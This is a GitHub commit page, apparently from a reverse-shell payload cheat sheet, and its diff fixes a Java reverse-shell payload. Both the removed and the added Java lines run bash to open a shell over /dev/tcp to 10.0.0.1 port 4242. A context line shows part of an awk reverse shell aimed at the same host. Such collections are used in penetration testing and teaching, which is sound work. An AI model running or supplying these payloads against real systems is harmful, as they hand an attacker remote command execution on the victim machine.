Fixed Java payload

- Declared variables
- Added semicolons at the end of each line
- Fixed the bash command
This commit is contained in:
cosmin-bianu 2021-03-12 13:20:15 +02:00 committed by GitHub
parent d61f683dc6
commit 13d54a5c24
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -209,9 +209,9 @@ awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |&
### Java
```java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();
```